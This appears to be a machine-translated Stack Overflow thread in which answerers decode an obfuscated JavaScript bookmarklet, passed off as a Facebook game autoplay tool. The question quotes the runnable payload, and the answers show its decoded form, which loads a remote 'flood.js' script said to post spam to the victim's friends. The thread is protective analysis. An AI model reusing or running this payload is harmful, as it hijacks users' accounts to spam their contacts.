2011-07-02 5 views
8

を復号化することができます私は、このコードは私のFacebookのゲームのための自動再生を与えることを教えフォーラムでそれを見つけたが、これは彼らが言うことではないことを私は恐れて、これは誰かがこのJavaScript

悪質なスクリプトであることをイムは恐れ助けてください:)

javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0); 
+1

間違いなく*悪意のあるスクリプトと同様の難読化を使用しているようです。 – Piskvor

答えて

11

のは、エスケープシーケンスをデコードすることによって開始し、その_0x8dd5変数名を取り除くしてみましょう:

(a=(b=document)["createElement"]("script"))["src"]="http://ug-radio.co.cc/flood.js"; 
b["body"]["appendChild"](a); 
void (0); 

var x=[ 
    "src","script","createElement","http://ug-radio.co.cc/flood.js", 
    "appendChild","body" 
]; 
(a=(b=document)[x[2]](x[1]))[x[0]]=x[3]; 
b[x[5]][x[4]](a); 
void (0); 

配列から文字列を代入すると、あなたがが残っています

スクリプトは単純に次のようになります。

a = document.createElement("script"); 
a.src = "http://ug-radio.co.cc/flood.js"; 
document.body.appendChild(a); 
void (0); 

I.e.ページにJavascript http://ug-radio.co.cc/flood.jsをロードします。

ロードされているファイルのスクリプトを見ると、「Wallflood By X-Cisadane」と呼ばれます。それはあなたの友人のリストを取得し、それらのすべてに(またはおそらく)メッセージを投稿するようです。

ゲームの自動再生とはまったく関係ありません。

+0

ありがとう、私はJSのような人々のためにあなたの説明は非常に明確ですが、あなたの説明は私のような人々のために非常に明確です ありがとうso much :) – xzanrzk

4

まあ、宣言varが、実際にこれです:

var _0x8dd5= [ 
    'src', 'script', 'cx7 2eateElement', 
    'x 68ttp://ug-rad io.co.cc/flox 6Fd.js', 'appendC x68ild', 'body' 
]; 

残りが把握するのは簡単です。

+0

まあ、私はあなたの前にそれを理解するために何百万ものアップフォースを与えたいと思います。しかし、私が与えることができるのは1つだけです:) – mihsathe

+0

なぜ\ x72はrに変わりませんか? \ x68と同じですか? (私はそれがjsfiddleで同じことをしたことに気づいた) – jglouie

+0

あなたはどのようにその人をすることができますか? btwありがとうございます:) – xzanrzk

6

firebugを開いて、スクリプトの一部をコンソールに貼り付けました(コードを実行するのではなく、変数を作成した部分だけを貼り付けるように注意してください)。これは私が得たものである:

私が貼り付けられたものを:

console.log(["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"]); 

結果:要するに

["src", "script", "cx7 2eateElement", "x 68ttp://ug-rad io.co.cc/flox 6Fd.js", "appendC x68ild", "body"] 

、リモートサーバから外部JavaScriptファイルをロードするためのスクリプトがあるように、これは見えるもの非常にドギーのように見えるドメイン名で。

期待通りのものに変換されない文字がいくつかあります。これは、不正な(またはそうでない)さらなる難読化、またはURLを含むスクリプトやcreateElementへの参照を欺く自動マルウェアチェッカーを欺くことになります。スクリプトの残りの部分は、それらの文字を実行前に個別に修正します。

変数名_0x8dd5になります。は16進コードのように見えますが、全体を読むのが難しくなりますが、実際には通常のJavaScriptの変数名です。スクリプトの残りの部分で繰り返し参照されるため、文字列の一部から別の部分に文字をコピーして故意のギャップを修正します。

間違いなく悪意のあるスクリプト。

すぐに焼くことをおすすめします! ;-)

1

さて、あなたの最初の文は、大きく以下の内容を配列に設定されています

var _0x8dd5 = ["src", "script", "createElement", "http://ug-radio.co.cc/flood.js", "appendChild", "body"]; 

私はデータを解析するためにChromeのJavaScriptコンソールを使用して、いくつかのことだから、私は「おおよそ」と言います少し文字化けしているようだ。私は可能な限り最善の方法で文字化けした部分を整理しました。だから、基本的には、それが文書に(おそらく悪意のある)スクリプトを追加して

var b = document; 
var a = b.createElement("script"); 
a.src = "http://ug-radio.co.cc/flood.js"; 
b.body.appendChild(a); 

残りはの線に沿って何かを呼び出すことが表示されます。

+0

助けのためにあまりにも多くのおかげで私はjsについて多くを知っていません – xzanrzk

1

これをデコードする方法やエンコードされた方法はほとんどの人が知っているでしょうが、わからないものは2桁の16進エスケープシーケンスです。 \ udddd(例えば "\ u0032"は "2")を使用する4桁の1桁、または8進数の\ dddにすることもできます。

Decoding hex string in javascript

関連する問題